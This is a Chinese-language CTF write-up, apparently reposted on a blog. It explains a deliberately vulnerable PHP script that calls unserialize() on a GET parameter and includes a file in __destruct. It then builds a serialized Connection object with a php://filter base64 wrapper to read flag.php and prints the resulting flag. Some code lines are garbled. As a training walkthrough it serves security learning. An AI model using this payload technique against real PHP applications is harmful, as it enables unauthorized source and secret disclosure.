我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
<?php
include "flag.php";class Connection
{public $file;public function __construct($file){$this->file = $file;}public function __sleep(){$this->file = ';return array('file');}public function __destruct(){include($this->file);}
}if (isset($_GET['un'])) {$obj2 = unserialize($_GET['un']);
} else {highlight_file(__file__);
}
通读代码:
<?php
include "flag.php"; // 文件包含flag.php,一般就是用来提示说明key值或flag值在flag.php里面class Connection // 定义一个以Connection为名的类
{public $file; // 定义一个以file为名的公有属性public function __construct($file) // 定义一个以file为参数的公有构造方法__construct(){ // 构造方法:当前类的实例化对象被创建的时候,自动被调用$this->file = $file; // 表示属性初始化}public function __sleep() // 定义一个魔术方法__sleep(){ // sleep方法:当前类的实例化对象被序列化的时候,自动被调用$this->file = '; // 变量赋值为urn array('file'); // 返回数组array}public function __destruct() // 定义一个析构方法__destruct(){ // 析构方法:当前类的实例化对象被销毁的时候,自动被调用include($this->file); // 文件包含以file变量值为名的文件}
}if (isset($_GET['un'])) { // 判断是否存在GET传递的un参数或参数值是否为NULL值$obj2 = unserialize($_GET['un']); // 若传递un参数值且不为NULL值,则反序列化该值
} else { highlight_file(__file__); // 否则,显示当前页面源码
}
分析所得:
第一步:分析流程
第二步:根据以上步骤构造payload
<?php
class Connection
{public $file='php://filter/convert.base64-encode/resource=flag.php';
}$chen = new Connection();
echo serialize($chen);
//O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
O:表示对象
10:表示对象名长度为10
Connection:为对象名
1:表示当前实例化对象的属性有1个
类需要用{}括起来
s:表示属性名为字符串类型
4:表示属性名长度为4
file:表示属性名
属性和属性之间需要分号分割,属性和属性值之间也需要分号分割
s:表示属性值为字符串类型
52:表示属性值得长度为52
file";s:52:"php://filter/convert.base64-encode/resource=flag.php:表示属性值
因此payload,如下:
?un=O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
第三步:传入payload,获取flag.php页面源码
第四步:解码结果,得到flag
//flag{3a8a0e34b5c6577ed54da625b292fca3}
很简单的一道题,只是php://filter伪协议我没有提及,其他的很详细了
本文发布于:2024-02-02 08:04:05,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170683224642464.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |